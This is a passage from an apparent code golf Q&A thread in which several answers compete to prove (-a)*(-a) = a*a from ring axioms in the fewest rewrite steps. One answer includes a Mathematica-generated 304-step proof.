((a*(a+0))+(0*(-a)))+(-((a*a)+(a*(-a)))) Axiom 2 = ((a*(a+(a+(-a))))+(0*(-a)))+(-((a*a)+(a*(-a)))) Axiom 3 = (((a*a)+(a*(a+(-a))))+(0*(-a)))+(-((a*a)+(a*(-a)))) Axiom 8 = ((a*a)+((a*(a+(-a)))+(0*(-a))))+(-((a*a)+(a*(-a)))) Axiom 1 = (a*a)+(((a*(a+(-a)))+(0*(-a)))+(-((a*a)+(a*(-a))))) Axiom 1 = (a*a)+((((a*a)+(a*(-a)))+(0*(-a)))+(-((a*a)+(a*(-a))))) Axiom 8 = (a*a)+(((a*a)+((a*(-a))+(0*(-a))))+(-((a*a)+(a*(-a))))) Axiom 1 = (a*a)+(((a*a)+((a+0)*(-a)))+(-((a*a)+(a*(-a))))) Axiom 9 = (a*a)+(((a*a)+(a*(-a)))+(-((a*a)+(a*(-a))))) Axiom 2 = (a*a)+0 Axiom 3 = a*a Axiom 2 ``` I wrote a program to check my solution. So if you find an error in this, then my program is wrong too. [Answer] ## 18 steps Different from the already posted 18-step solution. ``` a*a = a*a + 0 A2 = a*a + ((a*(-a) + a*(-a)) + (-(a*(-a) + a*(-a)))) A3 = (a*a + (a*(-a) + a*(-a))) + (-(a*(-a) + a*(-a))) A1 = (a*a + a*((-a) + (-a))) + (-(a*(-a) + a*(-a))) A8 = a*(a + ((-a) + (-a))) + (-(a*(-a) + a*(-a))) A8 = a*((a + (-a)) + (-a)) + (-(a*(-a) + a*(-a))) A1 = a*(0 + (-a)) + (-(a*(-a) + a*(-a))) A3 = a*((-a) + 0) + (-(a*(-a) + a*(-a))) A4 = a*(-a) + (-(a*(-a) + a*(-a))) A2 = (a + 0)*(-a) + (-(a*(-a) + a*(-a))) A2 = (a + (a + (-a)))*(-a) + (-(a*(-a) + a*(-a))) A3 = ((a + a) + (-a))*(-a) + (-(a*(-a) + a*(-a))) A1 = ((-a) + (a + a))*(-a) + (-(a*(-a) + a*(-a))) A4 = ((-a)*(-a) + (a + a)*(-a)) + (-(a*(-a) + a*(-a))) A9 = ((-a)*(-a) + (a*(-a) + a*(-a))) + (-(a*(-a) + a*(-a))) A9 = (-a)*(-a) + ((a*(-a) + a*(-a)) + (-(a*(-a) + a*(-a)))) A1 = (-a)*(-a) + 0 A3 = (-a)*(-a) A2 ``` [Answer] # ~~29~~ 26 Steps No lemmas! Comment if you see anything wrong. (It's very easy to make a mistake) ``` (-a) × (-a) = ((-a) + 0) × (-a) Ax. 2 = ((-a) + (a + (-a))) × (-a) Ax. 3 = ((a + (-a)) + (-a)) × (-a) Ax. 4 = (a + ((-a) + (-a))) × (-a) Ax. 1 = (a × (-a)) + (((-a) + (-a)) × (-a)) Ax. 9 = (a × ((-a) + 0)) + (((-a) + (-a)) × (-a)) Ax. 2 = (a × ((-a) + (a + (-a)))) + (((-a) + (-a)) × (-a)) Ax. 3 = (a × ((a + (-a)) + (-a))) + (((-a) + (-a)) × (-a)) Ax. 4 = (a × (a + ((-a) + (-a)))) + (((-a) + (-a)) × (-a)) Ax. 1 = ((a × a) + (a × ((-a) + (-a)))) + (((-a) + (-a)) × (-a)) Ax. 8 = (a × a) + ((a × ((-a) + (-a))) + (((-a) + (-a)) × (-a))) Ax. 1 = (a × a) + (((a × (-a)) + (a × (-a))) + (((-a) + (-a)) × (-a))) Ax. 8 = (a × a) + (((a + a) × (-a)) + (((-a) + (-a)) × (-a))) Ax. 9 = (a × a) + (((a + a) + ((-a) + (-a))) × (-a)) Ax. 9 = (a × a) + ((((a + a) + (-a)) + (-a)) × (-a)) Ax. 1 = (a × a) + (((a + (a + (-a))) + (-a)) × (-a)) Ax. 1 = (a × a) + (((a + 0) + (-a)) × (-a)) Ax. 3 = (a × a) + ((a + (-a)) × (-a)) Ax. 2 = (a × a) + (0 × (-a)) Ax. 3 = (a × a) + ((0 × (-a)) + 0) Ax. 2 = (a × a) + ((0 × (-a)) + ((0 × (-a)) + (-(0 × (-a))))) Ax. 3 = (a × a) + (((0 × (-a)) + (0 × (-a))) + (-(0 × (-a)))) Ax. 1 = (a × a) + (((0 + 0) × (-a)) + (-(0 × (-a)))) Ax. 9 = (a × a) + ((0 × (-a)) + (-(0 × (-a)))) Ax. 2 = (a × a) + 0 Ax. 3 = (a × a) Ax. 2 ``` Credit goes to [Maltysen](https://codegolf.stackexchange.com/users/31343/maltysen) for **0 × (-a) = 0** [Answer] # 18 steps Not the first 18-step proof, but it’s simpler than the others. ``` (-a)*(-a) = (-a)*(-a) + 0 [Axiom 2] = (-a)*(-a) + ((-a)*a + -((-a)*a)) [Axiom 3] = ((-a)*(-a) + (-a)*a) + -((-a)*a) [Axiom 1] = ((-a)*(-a) + ((-a) + 0)*a) + -((-a)*a) [Axiom 2] = ((-a)*(-a) + ((-a)*a + 0*a)) + -((-a)*a) [Axiom 9] = (((-a)*(-a) + (-a)*a) + 0*a) + -((-a)*a) [Axiom 1] = ((-a)*((-a) + a) + 0*a) + -((-a)*a) [Axiom 8] = ((-a)*(a + (-a)) + 0*a) + -((-a)*a) [Axiom 4] = ((-a)*0 + 0*a) + -((-a)*a) [Axiom 3] = (0*a + (-a)*0) + -((-a)*a) [Axiom 4] = ((a + (-a))*a + (-a)*0) + -((-a)*a) [Axiom 3] = ((a*a + (-a)*a) + (-a)*0) + -((-a)*a) [Axiom 9] = (a*a + ((-a)*a + (-a)*0)) + -((-a)*a) [Axiom 1] = (a*a + (-a)*(a + 0)) + -((-a)*a) [Axiom 8] = (a*a + (-a)*a) + -((-a)*a) [Axiom 2] = a*a + ((-a)*a + -((-a)*a)) [Axiom 1] = a*a + 0 [Axiom 3] = a*a [Axiom 2] ``` [Validate](https://antony74.github.io/fol/index.html?eJyNkcsNACEIRO9bhUd0YzIt2X8TouKPsGQvyucxE5RyiYn4eGhG4Q24MupJ4ShLGBm%252FiFE9CQVM4R9Yd0IzUaDtiA9FAV2miJLDwGwhzdEEPbVEPWb39jqaEmi9iUA2tfbxALWGNji%252Bd7TQ7gosvGmU) [Answer] # 23 steps ``` (-a) * (-a) = ((-a) * (-a)) + 0 ✔ axiom 2 = ((-a) * (-a)) + (((-a) * a) + -((-a) * a)) ✔ axiom 3 = (((-a) * (-a)) + (-a) * a) + -((-a) * a) ✔ axiom 1 = (-a) * (-a + a) + -((-a) * a) ✔ axiom 8 = (-a) * (a + (-a)) + -((-a) * a) ✔ axiom 4 = ((-a) * 0) + -((-a) * a) ✔ axiom 3 = (((-a) * 0) + 0) + -((-a) * a) ✔ axiom 2 = ((-a) * 0 + ((-a)*0 + -((-a)*0))) + -((-a) * a) ✔ axiom 3 = (((-a) * 0 + (-a)*0) + -((-a)*0)) + -((-a) * a) ✔ axiom 1 = ((-a) * (0 + 0) + -((-a)*0)) + -((-a) * a) ✔ axiom 8 = ((-a) * 0 + -((-a)*0)) + -((-a) * a) ✔ axiom 2 = 0 + -((-a) * a) ✔ axiom 3 = (0* a) + -(0*a) + -((-a) * a) ✔ axiom 3 = ((0+0)* a) + -(0*a) + -((-a) * a) ✔ axiom 2 = ((0 * a ) + (0*a) + -(0*a)) + -((-a) * a) ✔ axiom 9 = ((0 * a ) + ((0*a) + -(0*a))) + -((-a) * a) ✔ axiom 1 = ((0 * a ) + 0) + -((-a) * a) ✔ axiom 3 = (0 * a ) + -((-a) * a) ✔ axiom 2 = ((a + -a) * a ) + -((-a) * a) ✔ axiom 3 = ((a * a) + (-a) * a) + -((-a) * a) ✔ axiom 9 = (a * a) + (((-a) * a) + -((-a) * a)) ✔ axiom 1 = (a * a) + 0 ✔ axiom 3 = a * a ✔ axiom 2 ``` [Try it online!](https://antony74.github.io/fol/index.html?%28-a%29%20%2a%20%28-a%29%0A%28%28-a%29%20%2a%20%28-a%29%29%20%2B%200%0A%28%28-a%29%20%2a%20%28-a%29%29%20%2B%20%28%28%28-a%29%20%2a%20a%29%20%2B%20-%28%28-a%29%20%2a%20a%29%29%0A%28%28%28-a%29%20%2a%20%28-a%29%29%20%2B%20%28-a%29%20%2a%20a%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28-a%29%20%2a%20%28-a%20%2B%20a%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28-a%29%20%2a%20%28a%20%2B%20%28-a%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28-a%29%20%2a%200%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28%28-a%29%20%2a%200%29%20%2B%200%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28-a%29%20%2a%200%20%2B%20%28%28-a%29%2a0%20%2B%20-%28%28-a%29%2a0%29%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28%28-a%29%20%2a%200%20%2B%20%28-a%29%2a0%29%20%2B%20-%28%28-a%29%2a0%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28-a%29%20%2a%20%280%20%2B%200%29%20%2B%20-%28%28-a%29%2a0%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28-a%29%20%2a%200%20%2B%20-%28%28-a%29%2a0%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A0%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%280%2a%20a%29%20%2B%20-%280%2aa%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%280%2B0%29%2a%20a%29%20%2B%20-%280%2aa%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%280%20%2a%20a%20%29%20%2B%20%280%2aa%29%20%2B%20-%280%2aa%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%280%20%2a%20a%20%29%20%2B%20%28%280%2aa%29%20%2B%20-%280%2aa%29%29%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%280%20%2a%20a%20%29%20%2B%200%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%280%20%2a%20a%20%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28a%20%2B%20-a%29%20%2a%20a%20%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28%28a%20%2a%20a%29%20%2B%20%28-a%29%20%2a%20a%29%20%2B%20-%28%28-a%29%20%2a%20a%29%0A%28a%20%2a%20a%29%20%2B%20%28%28%28-a%29%20%2a%20a%29%20%2B%20-%28%28-a%29%20%2a%20a%29%29%0A%28a%20%2a%20a%29%20%2B%200%0Aa%20%2a%20a%0A%0A) Yes you read that right, I've written a proof-checker for this puzzle (naturally there's a possibility that the checker itself is wrong) [Answer] ``` A2: (-a) x (-a) = ((-a) + 0) x (-a) A3: = ((-a) + (a + (-a))) x (-a) A9: = ((-a) x (-a)) + ((a + (-a)) x (-a)) A4: = ((-a) x (-a)) + (((-a) + a) x (-a)) A9: = ((-a) x (-a)) + (((-a) x (-a)) + (a x (-a))) A1: = (((-a) x (-a)) + ((-a) x (-a))) + (a x (-a)) A2: = (((-a) x (-a)) + ((-a) x (-a))) + (a x ((-a) + 0)) A3: = (((-a) x (-a)) + ((-a) x (-a))) + (a x ((-a) + (a + (-a)))) A8: = (((-a) x (-a)) + ((-a) x (-a))) + ((a x (-a)) + (a x (a + (-a)))) A8: = (((-a) x (-a)) + ((-a) x (-a))) + ((a x (-a)) + ((a x a) + (a x (-a)))) A4: = (((-a) x (-a)) + ((-a) x (-a))) + ((a x (-a)) + ((a x (-a)) + (a x a))) A1: = (((-a) x (-a)) + ((-a) x (-a))) + (((a x (-a)) + (a x (-a))) + (a x a)) A8: = ((-a) x ((-a) + (-a))) + (((a x (-a)) + (a x (-a))) + (a x a)) A8: = ((-a) x ((-a) + (-a))) + ((a x ((-a) + (-a))) + (a x a)) A1: = (((-a) x ((-a) + (-a))) + (a x ((-a) + (-a)))) + (a x a) A9: = (((-a) + a) x ((-a) + (-a))) + (a x a) A4: = ((a + (-a)) x ((-a) + (-a))) + (a x a) Lemma: = (0 x ((-a) + (-a))) + (a x a) A3: = 0 + (a x a) A4: = (a x a) + 0 A2: = (a x a) Lemma: 0 = 0 x a A3: 0 = (0 x a) + (-(0 x a)) A2: = ((0 + 0) x a) + (-(0 x a)) A9: = ((0 x a) + (0 x a)) + (-(0 x a)) A1: = (0 x a) + ((0 x a) + (-(0 x a))) A3: = (0 x a) + 0 A2: = (0 x a) ``` **~~27~~ 26 steps** Thank you [Funky Computer Man](https://codegolf.stackexchange.com/users/56656/funky-computer-man) for noticing a duplicate line. [Answer] # 304 steps Community wiki because this proof is generated by Mathematica's [FindEquationalProof](http://reference.wolfram.com/language/ref/FindEquationalProof.html) function. The proof is rather long. Mathematica doesn't know how to golf it. This is the Mathematica code that generates the proof (requires Mathematica 11.3), where `p`, `t`, `n` means `+`, `×`, `-` respectively: ``` ringAxioms = {ForAll[{a, b, c}, p[a, p[b, c]] == p[p[a, b], c]], ForAll[a, p[a, 0] == a], ForAll[a, p[a, n[a]] == 0], ForAll[{a, b}, p[a, b] == p[b, a]], ForAll[{a, b, c}, t[a, t[b, c]] == t[t[a, b], c]], ForAll[a, t[a, 1] == a], ForAll[a, t[1, a] == a], ForAll[{a, b, c}, t[a, p[b, c]] == p[t[a, b], t[a, c]]], ForAll[{a, b, c}, t[p[b, c], a] == p[t[b, a], t[c, a]]]}; proof = FindEquationalProof[t[n[a], n[a]] == t[a, a], ringAxioms]; proof["ProofNotebook"] ``` It is not easy to count the steps directly, so I calculate it by the number of paths from the axioms to the conclusion in the "proof graph". ``` graph = proof["ProofGraph"]; score = Sum[ Length[FindPath[graph, axiom, "Conclusion 1", Infinity, All]], {axiom, Select[VertexList[graph], StringMatchQ["Axiom " ~~ __]]}] ``` [Try it online!](https://tio.run/##dVJdS8NAEHzvr1hO8ClQ@6oU/BZBpVLx5TzKJT2bw@QuJluoFP3rdXeTauoHhOQyu7Mzc3elxdyVFn1mN5vah8XJyseygTGsL2N9UhR6bRNIE8jeE6i05Rf/GQPjMa0FSo0gyQAAOpbtug@kz/5ZC9q2Yw52yiK4VUs7HdK05ndb6wu5E3u@UOP/vqQ02vraKYxY5bfhn1K7W/AlJQuC/@d2xK0KcyUY1zJJaN6PBoOqjvGZjuDSh/nF65JOJwZbTBglBm9bb/NElZHv0zM0Y1HbKqcZMksrIV8xprg6oWbU02Wp2eqNCwvMNctN6D5o4dJQHpaAOoshK5YNmYCRSuA6PPvg8S0B5gJQSooM665dwKkrXIb60dXoVje@wXYmtU2Rfd5azPJ7rcQvKPj4gNmMwhvhK2jQVc1T6HlVD7lvgB66r20oWLjgaotuDumbwFmcu8NdFpshz3sG9mF4zMPPyRq6M9u4RsKf17HSratpVXjUbarrsoo1tngHwcWqh/U39i6iS2N8UeRf3Z3yZ83f7RaRh0lhyZBboeKQil3yLeQlKgPDIdwvvcPN5hM "Wolfram Language (Mathematica) – Try It Online") This is the proof generated by the code: ``` Axiom 1 We are given that: x1==p[x1, 0] Axiom 2 We are given that: x1==t[x1, 1] Axiom 3 We are given that: x1==t[1, x1] Axiom 4 We are given that: p[x1, x2]==p[x2, x1] Axiom 5 We are given that: p[x1, p[x2, x3]]==p[p[x1, x2], x3] Axiom 6 We are given that: p[x1, n[x1]]==0 Axiom 7 We are given that: p[t[x1, x2], t[x3, x2]]==t[p[x1, x3], x2] Axiom 8 We are given that: p[t[x1, x2], t[x1, x3]]==t[x1, p[x2, x3]] Axiom 9 We are given that: t[x1, t[x2, x3]]==t[t[x1, x2], x3] Hypothesis 1 We would like to show that: t[n[a], n[a]]==t[a, a] Critical Pair Lemma 1 The following expressions are equivalent: p[0, x1]==x1 Proof Note that the input for the rule: p[x1_, x2_]\[TwoWayRule]p[x2_, x1_] contains a subpattern of the form: p[x1_, x2_] which can be unified with the input for the rule: p[x1_, 0]->x1 where these rules follow from Axiom 4 and Axiom 1 respectively. Critical Pair Lemma 2 The following expressions are equivalent: p[x1, p[n[x1], x2]]==p[0, x2] Proof Note that the input for the rule: p[p[x1_, x2_], x3_]->p[x1, p[x2, x3]] contains a subpattern of the form: p[x1_, x2_] which can be unified with the input for the rule: p[x1_, n[x1_]]->0 where these rules follow from Axiom 5 and Axiom 6 respectively. Critical Pair Lemma 3 The following expressions are equivalent: t[p[1, x1], x2]==p[x2, t[x1, x2]] Proof Note that the input for the rule: p[t[x1_, x2_], t[x3_, x2_]]->t[p[x1, x3], x2] contains a subpattern of the form: t[x1_, x2_] which can be unified with the input for the rule: t[1, x1_]->x1 where these rules follow from Axiom 7 and Axiom 3 respectively. Critical Pair Lemma 4 The following expressions are equivalent: t[x1, p[1, x2]]==p[x1, t[x1, x2]] Proof Note that the input for the rule: p[t[x1_, x2_], t[x1_, x3_]]->t[x1, p[x2, x3]] contains a subpattern of the form: t[x1_, x2_] which can be unified with the input for the rule: t[x1_, 1]->x1 where these rules follow from Axiom 8 and Axiom 2 respectively. Critical Pair Lemma 5 The following expressions are equivalent: t[p[1, x1], 0]==t[x1, 0] Proof Note that the input for the rule: p[x1_, t[x2_, x1_]]->t[p[1, x2], x1] contains a subpattern of the form: p[x1_, t[x2_, x1_]] which can be unified with the input for the rule: p[0, x1_]->x1 where these rules follow from Critical Pair Lemma 3 and Critical Pair Lemma 1 respectively. Critical Pair Lemma 6 The following expressions are equivalent: t[0, 0]==t[1, 0] Proof Note that the input for the rule: t[p[1, x1_], 0]->t[x1, 0] contains a subpattern of the form: p[1, x1_] which can be unified with the input for the rule: p[x1_, 0]->x1 where these rules follow from Critical Pair Lemma 5 and Axiom 1 respectively. Substitution Lemma 1 It can be shown that: t[0, 0]==0 Proof We start by taking Critical Pair Lemma 6, and apply the substitution: t[1, x1_]->x1 which follows from Axiom 3. Critical Pair Lemma 7 The following expressions are equivalent: t[x1, 0]==t[p[x1, 1], 0] Proof Note that the input for the rule: t[p[1, x1_], 0]->t[x1, 0] contains a subpattern of the form: p[1, x1_] which can be unified with the input for the rule: p[x1_, x2_]\[TwoWayRule]p[x2_, x1_] where these rules follow from Critical Pair Lemma 5 and Axiom 4 respectively. Critical Pair Lemma 8 The following expressions are equivalent: t[0, p[1, x1]]==t[0, x1] Proof Note that the input for the rule: p[x1_, t[x1_, x2_]]->t[x1, p[1, x2]] contains a subpattern of the form: p[x1_, t[x1_, x2_]] which can be unified with the input for the rule: p[0, x1_]->x1 where these rules follow from Critical Pair Lemma 4 and Critical Pair Lemma 1 respectively. Critical Pair Lemma 9 The following expressions are equivalent: t[p[x1, 1], p[1, 0]]==p[p[x1, 1], t[x1, 0]] Proof Note that the input for the rule: p[x1_, t[x1_, x2_]]->t[x1, p[1, x2]] contains a subpattern of the form: t[x1_, x2_] which can be unified with the input for the rule: t[p[x1_, 1], 0]->t[x1, 0] where these rules follow from Critical Pair Lemma 4 and Critical Pair Lemma 7 respectively. Substitution Lemma 2 It can be shown that: t[p[x1, 1], 1]==p[p[x1, 1], t[x1, 0]] Proof We start by taking Critical Pair Lemma 9, and apply the substitution: p[x1_, 0]->x1 which follows from Axiom 1. Substitution Lemma 3 It can be shown that: p[x1, 1]==p[p[x1, 1], t[x1, 0]] Proof We start by taking Substitution Lemma 2, and apply the substitution: t[x1_, 1]->x1 which follows from Axiom 2. Substitution Lemma 4 It can be shown that: p[x1, 1]==p[x1, p[1, t[x1, 0]]] Proof We start by taking Substitution Lemma 3, and apply the substitution: p[p[x1_, x2_], x3_]->p[x1, p[x2, x3]] which follows from Axiom 5. Critical Pair Lemma 10 The following expressions are equivalent: t[0, x1]==t[0, p[x1, 1]] Proof Note that the input for the rule: t[0, p[1, x1_]]->t[0, x1] contains a subpattern of the form: p[1, x1_] which can be unified with the input for the rule: p[x1_, x2_]\[TwoWayRule]p[x2_, x1_] where these rules follow from Critical Pair Lemma 8 and Axiom 4 respectively. Critical Pair Lemma 11 The following expressions are equivalent: t[p[1, 0], p[x1, 1]]==p[p[x1, 1], t[0, x1]] Proof Note that the input for the rule: p[x1_, t[x2_, x1_]]->t[p[1, x2], x1] contains a subpattern of the form: t[x2_, x1_] which can be unified with the input for the rule: t[0, p[x1_, 1]]->t[0, x1] where these rules follow from Critical Pair Lemma 3 and Critical Pair Lemma 10 respectively. Substitution Lemma 5 It can be shown that: t[1, p[x1, 1]]==p[p[x1, 1], t[0, x1]] Proof We start by taking Critical Pair Lemma 11, and apply the substitution: p[x1_, 0]->x1 which follows from Axiom 1. Substitution Lemma 6 It can be shown that: p[x1, 1]==p[p[x1, 1], t[0, x1]] Proof We start by taking Substitution Lemma 5, and apply the substitution: t[1, x1_]->x1 which follows from Axiom 3. Substitution Lemma 7 It can be shown that: p[x1, 1]==p[x1, p[1, t[0, x1]]] Proof We start by taking Substitution Lemma 6, and apply the substitution: p[p[x1_, x2_], x3_]->p[x1, p[x2, x3]] which follows from Axiom 5. Substitution Lemma 8 It can be shown that: p[x1, p[n[x1], x2]]==x2 Proof We start by taking Critical Pair Lemma 2, and apply the substitution: p[0, x1_]->x1 which follows from Critical Pair Lemma 1. Critical Pair Lemma 12 The following expressions are equivalent: n[n[x1]]==p[x1, 0] Proof Note that the input for the rule: p[x1_, p[n[x1_], x2_]]->x2 contains a subpattern of the form: p[n[x1_], x2_] which can be unified with the input for the rule: p[x1_, n[x1_]]->0 where these rules follow from Substitution Lemma 8 and Axiom 6 respectively. Substitution Lemma 9 It can be shown that: n[n[x1]]==x1 Proof We start by taking Critical Pair Lemma 12, and apply the substitution: p[x1_, 0]->x1 which follows from Axiom 1. Critical Pair Lemma 13 The following expressions are equivalent: x1==p[n[x2], p[x2, x1]] Proof Note that the input for the rule: p[x1_, p[n[x1_], x2_]]->x2 contains a subpattern of the form: n[x1_] which can be unified with the input for the rule: n[n[x1_]]->x1 where these rules follow from Substitution Lemma 8 and Substitution Lemma 9 respectively. Critical Pair Lemma 14 The following expressions are equivalent: t[x1, x2]==p[n[x2], t[p[1, x1], x2]] Proof Note that the input for the rule: p[n[x1_], p[x1_, x2_]]->x2 contains a subpattern of the form: p[x1_, x2_] which can be unified with the input for the rule: p[x1_, t[x2_, x1_]]->t[p[1, x2], x1] where these rules follow from Critical Pair Lemma 13 and Critical Pair Lemma 3 respectively. Critical Pair Lemma 15 The following expressions are equivalent: t[x1, x2]==p[n[x1], t[x1, p[1, x2]]] Proof Note that the input for the rule: p[n[x1_], p[x1_, x2_]]->x2 contains a subpattern of the form: p[x1_, x2_] which can be unified with the input for the rule: p[x1_, t[x1_, x2_]]->t[x1, p[1, x2]] where these rules follow from Critical Pair Lemma 13 and Critical Pair Lemma 4 respectively. Critical Pair Lemma 16 The following expressions are equivalent: p[1, t[x1, 0]]==p[n[x1], p[x1, 1]] Proof Note that the input for the rule: p[n[x1_], p[x1_, x2_]]->x2 contains a subpattern of the form: p[x1_, x2_] which can be unified with the input for the rule: p[x1_, p[1, t[x1_, 0]]]->p[x1, 1] where these rules follow from Critical Pair Lemma 13 and Substitution Lemma 4 respectively. Substitution Lemma 10 It can be shown that: p[1, t[x1, 0]]==1 Proof We start by taking Critical Pair Lemma 16, and apply the substitution: p[n[x1_], p[x1_, x2_]]->x2 which follows from Critical Pair Lemma 13. Critical Pair Lemma 17 The following expressions are equivalent: t[t[x1, 0], 0]==t[1, 0] Proof Note that the input for the rule: t[p[1, x1_], 0]->t[x1, 0] contains a subpattern of the form: p[1, x1_] which can be unified with the input for the rule: p[1, t[x1_, 0]]->1 where these rules follow from Critical Pair Lemma 5 and Substitution Lemma 10 respectively. Substitution Lemma 11 It can be shown that: t[x1, t[0, 0]]==t[1, 0] Proof We start by taking Critical Pair Lemma 17, and apply the substitution: t[t[x1_, x2_], x3_]->t[x1, t[x2, x3]] which follows from Axiom 9. Substitution Lemma 12 It can be shown that: t[x1, 0]==t[1, 0] Proof We start by taking Substitution Lemma 11, and apply the substitution: t[0, 0]->0 which follows from Substitution Lemma 1. Substitution Lemma 13 It can be shown that: t[x1, 0]==0 Proof We start by taking Substitution Lemma 12, and apply the substitution: t[1, x1_]->x1 which follows from Axiom 3. Critical Pair Lemma 18 The following expressions are equivalent: t[x1, t[0, x2]]==t[0, x2] Proof Note that the input for the rule: t[t[x1_, x2_], x3_]->t[x1, t[x2, x3]] contains a subpattern of the form: t[x1_, x2_] which can be unified with the input for the rule: t[x1_, 0]->0 where these rules follow from Axiom 9 and Substitution Lemma 13 respectively. Critical Pair Lemma 19 The following expressions are equivalent: p[1, t[0, x1]]==p[n[x1], p[x1, 1]] Proof Note that the input for the rule: p[n[x1_], p[x1_, x2_]]->x2 contains a subpattern of the form: p[x1_, x2_] which can be unified with the input for the rule: p[x1_, p[1, t[0, x1_]]]->p[x1, 1] where these rules follow from Critical Pair Lemma 13 and Substitution Lemma 7 respectively. Substitution Lemma 14 It can be shown that: p[1, t[0, x1]]==1 Proof We start by taking Critical Pair Lemma 19, and apply the substitution: p[n[x1_], p[x1_, x2_]]->x2 which follows from Critical Pair Lemma 13. Critical Pair Lemma 20 The following expressions are equivalent: t[0, t[0, x1]]==t[0, 1] Proof Note that the input for the rule: t[0, p[1, x1_]]->t[0, x1] contains a subpattern of the form: p[1, x1_] which can be unified with the input for the rule: p[1, t[0, x1_]]->1 where these rules follow from Critical Pair Lemma 8 and Substitution Lemma 14 respectively. Substitution Lemma 15 It can be shown that: t[0, x1]==t[0, 1] Proof We start by taking Critical Pair Lemma 20, and apply the substitution: t[x1_, t[0, x2_]]->t[0, x2] which follows from Critical Pair Lemma 18. Substitution Lemma 16 It can be shown that: t[0, x1]==0 Proof We start by taking Substitution Lemma 15, and apply the substitution: t[x1_, 1]->x1 which follows from Axiom 2. Critical Pair Lemma 21 The following expressions are equivalent: t[n[1], x1]==p[n[x1], t[0, x1]] Proof Note that the input for the rule: p[n[x1_], t[p[1, x2_], x1_]]->t[x2, x1] contains a subpattern of the form: p[1, x2_] which can be unified with the input for the rule: p[x1_, n[x1_]]->0 where these rules follow from Critical Pair Lemma 14 and Axiom 6 respectively. Substitution Lemma 17 It can be shown that: t[n[1], x1]==p[n[x1], 0] Proof We start by taking Critical Pair Lemma 21, and apply the substitution: t[0, x1_]->0 which follows from Substitution Lemma 16. Substitution Lemma 18 It can be shown that: t[n[1], x1]==n[x1] Proof We start by taking Substitution Lemma 17, and apply the substitution: p[x1_, 0]->x1 which follows from Axiom 1. Critical Pair Lemma 22 The following expressions are equivalent: t[n[1], t[x1, x2]]==t[n[x1], x2] Proof Note that the input for the rule: t[t[x1_, x2_], x3_]->t[x1, t[x2, x3]] contains a subpattern of the form: t[x1_, x2_] which can be unified with the input for the rule: t[n[1], x1_]->n[x1] where these rules follow from Axiom 9 and Substitution Lemma 18 respectively. Substitution Lemma 19 It can be shown that: n[t[x1, x2]]==t[n[x1], x2] Proof We start by taking Critical Pair Lemma 22, and apply the substitution: t[n[1], x1_]->n[x1] which follows from Substitution Lemma 18. Critical Pair Lemma 23 The following expressions are equivalent: t[x1, n[1]]==p[n[x1], t[x1, 0]] Proof Note that the input for the rule: p[n[x1_], t[x1_, p[1, x2_]]]->t[x1, x2] contains a subpattern of the form: p[1, x2_] which can be unified with the input for the rule: p[x1_, n[x1_]]->0 where these rules follow from Critical Pair Lemma 15 and Axiom 6 respectively. Substitution Lemma 20 It can be shown that: t[x1, n[1]]==p[n[x1], 0] Proof We start by taking Critical Pair Lemma 23, and apply the substitution: t[x1_, 0]->0 which follows from Substitution Lemma 13. Substitution Lemma 21 It can be shown that: t[x1, n[1]]==n[x1] Proof We start by taking Substitution Lemma 20, and apply the substitution: p[x1_, 0]->x1 which follows from Axiom 1. Critical Pair Lemma 24 The following expressions are equivalent: n[t[x1, x2]]==t[x1, t[x2, n[1]]] Proof Note that the input for the rule: t[x1_, n[1]]->n[x1] contains a subpattern of the form: t[x1_, n[1]] which can be unified with the input for the rule: t[t[x1_, x2_], x3_]->t[x1, t[x2, x3]] where these rules follow from Substitution Lemma 21 and Axiom 9 respectively. Substitution Lemma 22 It can be shown that: t[n[x1], x2]==t[x1, t[x2, n[1]]] Proof We start by taking Critical Pair Lemma 24, and apply the substitution: n[t[x1_, x2_]]->t[n[x1], x2] which follows from Substitution Lemma 19. Substitution Lemma 23 It can be shown that: t[n[x1], x2]==t[x1, n[x2]] Proof We start by taking Substitution Lemma 22, and apply the substitution: t[x1_, n[1]]->n[x1] which follows from Substitution Lemma 21. Substitution Lemma 24 It can be shown that: t[a, n[n[a]]]==t[a, a] Proof We start by taking Hypothesis 1, and apply the substitution: t[n[x1_], x2_]->t[x1, n[x2]] which follows from Substitution Lemma 23. Conclusion 1 We obtain the conclusion: True Proof Take Substitution Lemma 24, and apply the substitution: n[n[x1_]]->x1 which follows from Substitution Lemma 9. ``` [Answer] # 6 + 7 + 7 + 6 + 3 = 29 steps I really hope I didn't screw anything up, leave a comment if you think I did. ``` Lemma 1. a*0=0 (6 steps) 0 = a*0 + -(a*0) axiom 3 = a*(0+0) + -(a*0) axiom 2 = (a*0 + a*0) + -(a*0) axiom 8 = a*0 + (a*0 + -(a*0)) axiom 1 = a*0 + 0 axiom 3 = a*0 axiom 2 Lemma 2. a*(-b) = -(a*b) (7 steps) a*(-b) = a*(-b) + 0 axiom 2 = a*(-b) + (a*b + -(a*b)) axiom 3 = (a*(-b) + a*b) + -(a*b) axiom 1 = a*(-b+b) + -(a*b) axiom 8 = a*0 + -(a*b) axiom 3 = 0 + -(a*b) lemma 1 = -(a*b) axiom 2 Lemma 3. (-a)*b = -(a*b) (7 steps) same as above Lemma 4. -(-(a)) = a (6 steps) -(-a) = (-(-a)) + 0 axiom 2 = 0 + (-(-a)) axiom 4 = (a + (-a)) + (-(-a)) axiom 3 = a + ((-a) + (-(-a))) axiom 1 = a + 0 axiom 3 = a axiom 2 Theorem. -a*-a=0 (3 steps) -a*-a = -(a*(-a)) lemma 3 = -(-(a*a)) lemma 2 = a*a lemma 4 Q.E.D. ``` [Answer] ## ~~22~~ 23 